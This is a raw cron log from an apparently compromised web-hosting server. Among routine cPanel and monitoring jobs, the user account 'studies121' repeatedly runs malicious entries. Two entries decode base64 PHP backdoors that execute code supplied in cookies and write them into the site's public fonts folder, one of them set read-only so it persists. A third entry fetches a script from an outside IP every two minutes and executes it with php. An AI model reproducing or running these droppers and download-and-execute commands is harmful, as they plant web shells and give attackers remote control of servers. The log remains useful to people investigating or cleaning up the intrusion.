Sep  9 07:00:02 ip-184-168-122-23 CROND[32634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:00:02 ip-184-168-122-23 CROND[32635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:00:02 ip-184-168-122-23 CROND[32637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:00:02 ip-184-168-122-23 CROND[32641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:00:02 ip-184-168-122-23 CROND[32640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:00:02 ip-184-168-122-23 CROND[32642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:00:02 ip-184-168-122-23 CROND[32643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:01:01 ip-184-168-122-23 CROND[509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:01:01 ip-184-168-122-23 CROND[510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:01:01 ip-184-168-122-23 CROND[512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:01:01 ip-184-168-122-23 CROND[517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:01:01 ip-184-168-122-23 CROND[518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:01:01 ip-184-168-122-23 CROND[521]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[521]: starting 0anacron
Sep  9 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[533]: finished 0anacron
Sep  9 07:02:01 ip-184-168-122-23 CROND[1100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:02:01 ip-184-168-122-23 CROND[1102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:02:01 ip-184-168-122-23 CROND[1103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:02:01 ip-184-168-122-23 CROND[1105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:02:01 ip-184-168-122-23 CROND[1104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:03:01 ip-184-168-122-23 CROND[1202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:03:01 ip-184-168-122-23 CROND[1203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:03:01 ip-184-168-122-23 CROND[1204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:03:01 ip-184-168-122-23 CROND[1208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:04:01 ip-184-168-122-23 CROND[1363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:04:01 ip-184-168-122-23 CROND[1365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:04:02 ip-184-168-122-23 CROND[1370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:04:02 ip-184-168-122-23 CROND[1369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:04:02 ip-184-168-122-23 CROND[1368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:05:01 ip-184-168-122-23 CROND[1545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:05:01 ip-184-168-122-23 CROND[1546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:06:01 ip-184-168-122-23 CROND[1662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:06:01 ip-184-168-122-23 CROND[1663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:06:01 ip-184-168-122-23 CROND[1665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:06:01 ip-184-168-122-23 CROND[1664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:06:01 ip-184-168-122-23 CROND[1666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:07:01 ip-184-168-122-23 CROND[1844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:07:01 ip-184-168-122-23 CROND[1846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:07:01 ip-184-168-122-23 CROND[1849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:07:02 ip-184-168-122-23 CROND[1850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:08:01 ip-184-168-122-23 CROND[1941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:08:01 ip-184-168-122-23 CROND[1945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:08:01 ip-184-168-122-23 CROND[1944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:08:01 ip-184-168-122-23 CROND[1943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:08:01 ip-184-168-122-23 CROND[1946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:09:01 ip-184-168-122-23 CROND[2044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:09:01 ip-184-168-122-23 CROND[2049]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 07:09:01 ip-184-168-122-23 CROND[2048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:09:01 ip-184-168-122-23 CROND[2047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:09:01 ip-184-168-122-23 CROND[2050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:10:01 ip-184-168-122-23 CROND[2174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:10:02 ip-184-168-122-23 CROND[2176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:10:02 ip-184-168-122-23 CROND[2180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:11:01 ip-184-168-122-23 CROND[2364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:11:01 ip-184-168-122-23 CROND[2366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:11:01 ip-184-168-122-23 CROND[2367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:11:01 ip-184-168-122-23 CROND[2365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:12:01 ip-184-168-122-23 CROND[2633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
